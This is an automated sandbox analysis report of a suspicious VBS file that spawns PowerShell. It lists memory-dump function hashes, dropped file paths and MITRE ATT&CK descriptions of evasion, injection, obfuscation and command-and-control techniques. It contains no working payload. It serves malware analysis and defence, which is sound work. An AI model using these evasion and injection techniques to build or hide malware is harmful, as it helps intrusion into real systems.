Function 076D2C89 Relevance: 6.4, Strings: 5, Instructions: 111COMMON

Download Yara Rule

Strings

$dq, xrefs: 076D2D09
$dq, xrefs: 076D2E06
$dq, xrefs: 076D2CED
4'dq, xrefs: 076D2E3B
tPdq, xrefs: 076D2D8B

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$tPdq$$dq$$dq$$dq
API String ID: 0-3100050110
Opcode ID: 56612317e4da04714249e370e1702bd7c3273d3553284bce4fc2508c5001df5b
Instruction ID: 2100be60ce991e804c32932506aeecf72bd97804c463b71f303227edf8baf782
Opcode Fuzzy Hash: 56612317e4da04714249e370e1702bd7c3273d3553284bce4fc2508c5001df5b
Instruction Fuzzy Hash: 4C4184B2E20206EFDB358E15C560BA6B7B2BF89720F148069E8175B791C731DD81CB91

Function 076DD9FC Relevance: 6.4, Strings: 5, Instructions: 105COMMON

Download Yara Rule

Strings

4'dq, xrefs: 076DDAB5
$dq, xrefs: 076DDA89
$dq, xrefs: 076DDA43
4'dq, xrefs: 076DDAA9
$dq, xrefs: 076DDA7D

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$$dq$$dq$$dq
API String ID: 0-2509493698
Opcode ID: 9e1156f0589ba732021f24d58337d3c653762bb81c77f47a81f5ad382e67bbc4
Instruction ID: 93dd7fa9ad1a9ecfbe5834715aa640e62603a9b77ce56ecafb4ea4ce98850f47
Opcode Fuzzy Hash: 9e1156f0589ba732021f24d58337d3c653762bb81c77f47a81f5ad382e67bbc4
Instruction Fuzzy Hash: 2931D7F1F2821ADBCF246AB9D440277B7A2ABC5215B28C07BC91386B84DF31CD52D761

Function 076D381A Relevance: 6.3, Strings: 5, Instructions: 85COMMON

Download Yara Rule

Strings

$dq, xrefs: 076D386F
$dq, xrefs: 076D384E
$dq, xrefs: 076D38C4
$dq, xrefs: 076D3905
4'dq, xrefs: 076D392E

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$$dq$$dq$$dq$$dq
API String ID: 0-206161847
Opcode ID: 441b2d74da9bf9456ad78f4c28ddf5b7c46d348b6248bb0ad814e0a58d43922c
Instruction ID: 8195ed6c353c539f5b2692aece9446fefe0438a570d54e0d5ee2b83e73b6dd10
Opcode Fuzzy Hash: 441b2d74da9bf9456ad78f4c28ddf5b7c46d348b6248bb0ad814e0a58d43922c
Instruction Fuzzy Hash: 58219CF2E35206DFDB248E27C580676B7AAAB41A61F24406AD8178F350E732CD81C693

Function 076DD020 Relevance: 5.5, Strings: 4, Instructions: 487COMMON

Download Yara Rule

Strings

(odq, xrefs: 076DD106
(odq, xrefs: 076DD116
(odq, xrefs: 076DD459
(odq, xrefs: 076DD449

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: (odq$(odq$(odq$(odq
API String ID: 0-2844368422
Opcode ID: 69c341d92a09f850d004df5bcb4174b7b43ab9261eb19f34cba22f236732318b
Instruction ID: a7880c915c0528f78a442552bcf35e720c8e2ab35112ec8d00bc58194c17a376
Opcode Fuzzy Hash: 69c341d92a09f850d004df5bcb4174b7b43ab9261eb19f34cba22f236732318b
Instruction Fuzzy Hash: F9F117B1F242059FCB25AF78C8547ABBBA1EF82314F14806BE9168B391DB31DC55C7A1

Function 076D5D70 Relevance: 5.3, Strings: 4, Instructions: 281COMMON

Download Yara Rule

Strings

84#l, xrefs: 076D5E4B
84#l, xrefs: 076D5E55
tPdq, xrefs: 076D5EAE
tPdq, xrefs: 076D5EA2

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 84#l$84#l$tPdq$tPdq
API String ID: 0-2391022923
Opcode ID: 3dae995ab1d84fc595f6aec675362cc432a269c6a94efef2f19ed7d95a929475
Instruction ID: f3ffca576f6c08c52b4cfec364b9c44cbf12c729d4f111eb44190c557c7f5eb6
Opcode Fuzzy Hash: 3dae995ab1d84fc595f6aec675362cc432a269c6a94efef2f19ed7d95a929475
Instruction Fuzzy Hash: 759159B1B102059FCB149F79C8506BBBBA2AFC5311F28846AD907DF782CA31DD51C7A1

Function 076D84C6 Relevance: 5.3, Strings: 4, Instructions: 265COMMON

Download Yara Rule

Strings

(f%l, xrefs: 076D86CC
(f%l, xrefs: 076D879D
(f%l, xrefs: 076D884A
(f%l, xrefs: 076D8651

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: (f%l$(f%l$(f%l$(f%l
API String ID: 0-3942150577
Opcode ID: a24fc45cd2043e1dd29015e57bf9e794be9d98aa1c43c719bb8aef4d720334b2
Instruction ID: 0eec154a13910873e198b4f70b8bc73c50e144e0c2ddf87c4323d56ef41f285f
Opcode Fuzzy Hash: a24fc45cd2043e1dd29015e57bf9e794be9d98aa1c43c719bb8aef4d720334b2
Instruction Fuzzy Hash: 1DB193B4E21346DFCB20CFA8C445BAAFBB2BF85714F14856AD8566B744C732AC41CB91

Function 076D8558 Relevance: 5.2, Strings: 4, Instructions: 250COMMON

Download Yara Rule

Strings

(f%l, xrefs: 076D86CC
(f%l, xrefs: 076D879D
(f%l, xrefs: 076D884A
(f%l, xrefs: 076D8651

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: (f%l$(f%l$(f%l$(f%l
API String ID: 0-3942150577
Opcode ID: d5fb84ca255697ab7a7aa976a818514134739d8e3819cb22a972e29e5f920429
Instruction ID: b9d48cf869a496fdd1a71340c9ffca33de1f69076f8700ff8fe5618dff30add1
Opcode Fuzzy Hash: d5fb84ca255697ab7a7aa976a818514134739d8e3819cb22a972e29e5f920429
Instruction Fuzzy Hash: 57A171B4E21206DBDB20CFA8C445AAEF7B2BF89714F14C569D8566B744C772AC41CB90

Function 076DAE48 Relevance: 5.2, Strings: 4, Instructions: 195COMMON

Download Yara Rule

Strings

$dq, xrefs: 076DAFE6
4'dq, xrefs: 076DAF0D
4'dq, xrefs: 076DAF01
W, xrefs: 076DAFCC

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$W$$dq
API String ID: 0-4258377368
Opcode ID: 6ab99d8091f114d640358b1bc2c0741a9747d74e1bde2a786e75e4844e9a4a01
Instruction ID: 11ab6dd84686ee4753e37bc7bb138c31077fc8c0f4e93f1a940d9c6db264e5d1
Opcode Fuzzy Hash: 6ab99d8091f114d640358b1bc2c0741a9747d74e1bde2a786e75e4844e9a4a01
Instruction Fuzzy Hash: 315119F1F282059FCB249BB984117B7BBA2AFC5210F18C0ABD50ACB791DA31CC52C751

Function 076D8F70 Relevance: 5.2, Strings: 4, Instructions: 192COMMON

Download Yara Rule

Strings

(f%l, xrefs: 076D90EF
(f%l, xrefs: 076D90E5
(f%l, xrefs: 076D9067
(f%l, xrefs: 076D9071

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: (f%l$(f%l$(f%l$(f%l
API String ID: 0-3942150577
Opcode ID: 7dd06eb8f5050dccf795c12a49a6aa9813281f7d3f9b7e8271b8b7fc631d51a7
Instruction ID: 8a7f772aa3fe016a385351a5527024a483128072fd611c269f312bd9b30146a5
Opcode Fuzzy Hash: 7dd06eb8f5050dccf795c12a49a6aa9813281f7d3f9b7e8271b8b7fc631d51a7
Instruction Fuzzy Hash: A27143B0E10209DFDB14CF68C945AAABBF2EF89314F148169D906AB755CB32EC51CB91

Function 076D45C8 Relevance: 5.2, Strings: 4, Instructions: 150COMMON

Download Yara Rule

Strings

84#l, xrefs: 076D45FF
tPdq, xrefs: 076D464E
tPdq, xrefs: 076D465A
84#l, xrefs: 076D45F3

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 84#l$84#l$tPdq$tPdq
API String ID: 0-2391022923
Opcode ID: ff523b3329aa08db224ea6a7d29b8dd77f647150034ad65da4f8de071bbdf391
Instruction ID: dd1b080df848d3122c05e8137e74c3dcac9c83915c4d5a3e0002adec10b55634
Opcode Fuzzy Hash: ff523b3329aa08db224ea6a7d29b8dd77f647150034ad65da4f8de071bbdf391
Instruction Fuzzy Hash: A44129F1B142D59FC7214BB98810B66BFA6AF85714F18C05AED469B381CE31DD41C7A1

Function 076D23A8 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$dq, xrefs: 076D2404
$dq, xrefs: 076D23D6
$dq, xrefs: 076D2410
$dq, xrefs: 076D23BA

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: $dq$$dq$$dq$$dq
API String ID: 0-185584874
Opcode ID: 47e68fae82ed606195be0f590ac1d416ac447e9fcfbb3d7af0feff4669d65068
Instruction ID: 71b2d6c4ab0caabe2bc9a4d286452f31121a8621c686e1c214ffbfd84aaab129
Opcode Fuzzy Hash: 47e68fae82ed606195be0f590ac1d416ac447e9fcfbb3d7af0feff4669d65068
Instruction Fuzzy Hash: 282147B1B20316AFDB345A7AC864767B7D6BBC0715F24803AAD06CB381CD75CC4583A1

Function 076D12E8 Relevance: 5.0, Strings: 4, Instructions: 47COMMON

Download Yara Rule

Strings

$dq, xrefs: 076D1332
$dq, xrefs: 076D133E
4'dq, xrefs: 076D135F
4'dq, xrefs: 076D1353

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$$dq$$dq
API String ID: 0-4229963660
Opcode ID: 5ce9fd773090ca16d3d5cda3d735cd007b4d305e32c6f762715eab85386ae27c
Instruction ID: 19697c45249d431554bbaaa98ecb09ab30f6adb3f3880e6c5d33fbb5e3ab99df
Opcode Fuzzy Hash: 5ce9fd773090ca16d3d5cda3d735cd007b4d305e32c6f762715eab85386ae27c
Instruction Fuzzy Hash: 7C01F751B2E3C94FC72A037868201666FB25FC355072B40DBD442CBA93CD954D458363

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Urgent_File_Confirmation_00000000000000000000.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_25dnuflu.ci0.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lykckzwr.vzf.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xzvscs4r.jtf.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z531fgvl.vw2.ps1

C:\Users\user\AppData\Roaming\Paraphysiferous.Mak

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

Windows Analysis Report
Urgent_File_Confirmation_00000000000000000000.vbs

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre